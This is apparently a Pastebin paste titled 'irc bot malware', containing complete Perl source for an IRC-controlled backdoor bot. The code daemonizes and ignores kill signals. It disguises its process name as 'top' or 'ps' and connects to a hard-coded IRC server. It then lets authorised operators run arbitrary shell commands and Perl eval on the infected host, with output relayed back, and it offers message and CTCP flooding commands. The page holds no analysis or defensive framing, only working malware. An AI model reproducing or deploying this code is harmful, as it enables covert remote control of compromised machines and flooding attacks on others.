API tools faq
paste
Advertisement
Guest User

irc bot malware

a guest
Jan 20th, 2020
436
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.31 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. my $processo =("top","htop","ps");
  3.  
  4. my @titi = ("index.php?page=","main.php?page=");
  5.  
  6. my $goni = $titi[rand scalar @titi];
  7.  
  8. my $linas_max='3';
  9. my $sleep='7';
  10. my @adms=("x", "y", "z", "w", "q", "e", "r", "t", "y");
  11. my @hostauth=("local");
  12. my @canais=("#tn");
  13. chop (my $nick = `uname`);
  14. my $servidor="3.4.5.6";
  15. my $ircname =("g");
  16. my $realname = ("g");
  17. my @ircport = ("22","80");
  18. my $porta = $ircport[rand scalar @ircport];
  19. my $VERSAO = '0.5';
  20. $SIG{'INT'} = 'IGNORE';
  21. $SIG{'HUP'} = 'IGNORE';
  22. $SIG{'TERM'} = 'IGNORE';
  23. $SIG{'CHLD'} = 'IGNORE';
  24. $SIG{'PS'} = 'IGNORE';
  25. use IO::Socket;
  26. use Socket;
  27. use IO::Select;
  28. chdir("/tmp");
  29. $servidor="$ARGV[0]" if $ARGV[0];
  30. $0="$processo"."\0"x16;;
  31. my $pid=fork;
  32. exit if $pid;
  33. die "Problema com o fork: $!" unless defined($pid);
  34.  
  35. our %irc_servers;
  36. our %DCC;
  37. my $dcc_sel = new IO::Select->new();
  38.  
  39. $sel_cliente = IO::Select->new();
  40. sub sendraw {
  41. if ($#_ == '1') {
  42. my $socket = $_[0];
  43. print $socket "$_[1]\n";
  44. } else {
  45. print $IRC_cur_socket "$_[0]\n";
  46. }
  47. }
  48.  
  49. sub conectar {
  50. my $meunick = $_[0];
  51. my $servidor_con = $_[1];
  52. my $porta_con = $_[2];
  53.  
  54. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  55. if (defined($IRC_socket)) {
  56. $IRC_cur_socket = $IRC_socket;
  57.  
  58. $IRC_socket->autoflush(1);
  59. $sel_cliente->add($IRC_socket);
  60.  
  61. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  62. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  63. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  64. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  65. nick("$meunick");
  66. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  67. sleep 1;
  68. }
  69. }
  70. my $line_temp;
  71. while( 1 ) {
  72. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  73. delete($irc_servers{''}) if (defined($irc_servers{''}));
  74. my @ready = $sel_cliente->can_read(0);
  75. next unless(@ready);
  76. foreach $fh (@ready) {
  77. $IRC_cur_socket = $fh;
  78. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  79. $nread = sysread($fh, $msg, 4096);
  80. if ($nread == 0) {
  81. $sel_cliente->remove($fh);
  82. $fh->close;
  83. delete($irc_servers{$fh});
  84. }
  85. @lines = split (/\n/, $msg);
  86.  
  87. for(my $c=0; $c<= $#lines; $c++) {
  88. $line = $lines[$c];
  89. $line=$line_temp.$line if ($line_temp);
  90. $line_temp='';
  91. $line =~ s/\r$//;
  92. unless ($c == $#lines) {
  93. parse("$line");
  94. } else {
  95. if ($#lines == 0) {
  96. parse("$line");
  97. } elsif ($lines[$c] =~ /\r$/) {
  98. parse("$line");
  99. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  100. parse("$line");
  101. } else {
  102. $line_temp = $line;
  103. }
  104. }
  105. }
  106. }
  107. }
  108.  
  109. sub parse {
  110. my $servarg = shift;
  111. if ($servarg =~ /^PING \:(.*)/) {
  112. sendraw("PONG :$1");
  113. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  114. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  115. if ($args =~ /^\001VERSION\001$/) {
  116. notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  117. }
  118. if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  119. if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  120. if ($onde eq "$meunick"){
  121. shell("$pn", "$args");
  122. }
  123. if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
  124. my $natrix = $1;
  125. my $arg = $2;
  126. if ($arg =~ /^\!(.*)/) {
  127. ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  128. } elsif ($arg =~ /^\@(.*)/) {
  129. $ondep = $onde;
  130. $ondep = $pn if $onde eq $meunick;
  131. bfunc("$ondep","$1");
  132. } else {
  133. shell("$onde", "$arg");
  134. }
  135. }
  136. }
  137. }
  138. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  139. if (lc($1) eq lc($meunick)) {
  140. $meunick=$4;
  141. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  142. }
  143. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  144. nick("$meunick|".int rand(999999));
  145. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  146. $meunick = $2;
  147. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  148. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  149. foreach my $canal (@canais) {
  150. sendraw("JOIN $canal ddosit");
  151. }
  152. }
  153. }
  154.  
  155.  
  156.  
  157. sub ircase {
  158. my ($kem, $printl, $case) = @_;
  159.  
  160. if ($case =~ /^join (.*)/) {
  161. j("$1");
  162. }
  163.  
  164. if ($case =~ /^refresh (.*)/) {
  165. my $goni = $titi[rand scalar @titi];
  166. }
  167.  
  168. if ($case =~ /^part (.*)/) {
  169. p("$1");
  170. }
  171. if ($case =~ /^rejoin\s+(.*)/) {
  172. my $chan = $1;
  173. if ($chan =~ /^(\d+) (.*)/) {
  174. for (my $ca = 1; $ca <= $1; $ca++ ) {
  175. p("$2");
  176. j("$2");
  177. }
  178. } else {
  179. p("$chan");
  180. j("$chan");
  181. }
  182. }
  183. if ($case =~ /^op/) {
  184. op("$printl", "$kem") if $case eq "op";
  185. my $oarg = substr($case, 3);
  186. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  187. }
  188. if ($case =~ /^deop/) {
  189. deop("$printl", "$kem") if $case eq "deop";
  190. my $oarg = substr($case, 5);
  191. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  192. }
  193. if ($case =~ /^msg\s+(\S+) (.*)/) {
  194. msg("$1", "$2");
  195. }
  196. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  197. for (my $cf = 1; $cf <= $1; $cf++) {
  198. msg("$2", "$3");
  199. }
  200. }
  201. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  202. ctcp("$1", "$2");
  203. }
  204. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  205. for (my $cf = 1; $cf <= $1; $cf++) {
  206. ctcp("$2", "$3");
  207. }
  208. }
  209. if ($case =~ /^nick (.*)/) {
  210. nick("$1");
  211. }
  212. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  213. conectar("$2", "$1", 6667);
  214. }
  215. if ($case =~ /^raw (.*)/) {
  216. sendraw("$1");
  217. }
  218. if ($case =~ /^eval (.*)/) {
  219. eval "$1";
  220. }
  221. }
  222.  
  223. sub shell {
  224. my $printl=$_[0];
  225. my $comando=$_[1];
  226. if ($comando =~ /cd (.*)/) {
  227. chdir("$1") || msg("$printl", "No such file or directory");
  228. return;
  229. }
  230. elsif ($pid = fork) {
  231. waitpid($pid, 0);
  232. } else {
  233. if (fork) {
  234. exit;
  235. } else {
  236. my @resp=`$comando 2>&1 3>&1`;
  237. my $c=0;
  238. foreach my $linha (@resp) {
  239. $c++;
  240. chop $linha;
  241. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  242. if ($c == "$linas_max") {
  243. $c=0;
  244. sleep $sleep;
  245. }
  246. }
  247. exit;
  248. }
  249. }
  250. }
  251.  
  252.  
  253. sub ctcp {
  254. return unless $#_ == 1;
  255. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  256. }
  257. sub msg {
  258. return unless $#_ == 1;
  259. sendraw("PRIVMSG $_[0] :$_[1]");
  260. }
  261. sub notice {
  262. return unless $#_ == 1;
  263. sendraw("NOTICE $_[0] :$_[1]");
  264. }
  265. sub op {
  266. return unless $#_ == 1;
  267. sendraw("MODE $_[0] +o $_[1]");
  268. }
  269. sub deop {
  270. return unless $#_ == 1;
  271. sendraw("MODE $_[0] -o $_[1]");
  272. }
  273. sub j { &join(@_); }
  274. sub join {
  275. return unless $#_ == 0;
  276. sendraw("JOIN $_[0]");
  277. }
  278. sub p { part(@_); }
  279. sub part {
  280. sendraw("PART $_[0]");
  281. }
  282. sub nick {
  283. return unless $#_ == 0;
  284. sendraw("NICK $_[0]");
  285. }
  286. sub quit {
  287. sendraw("QUIT :$_[0]");
  288. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!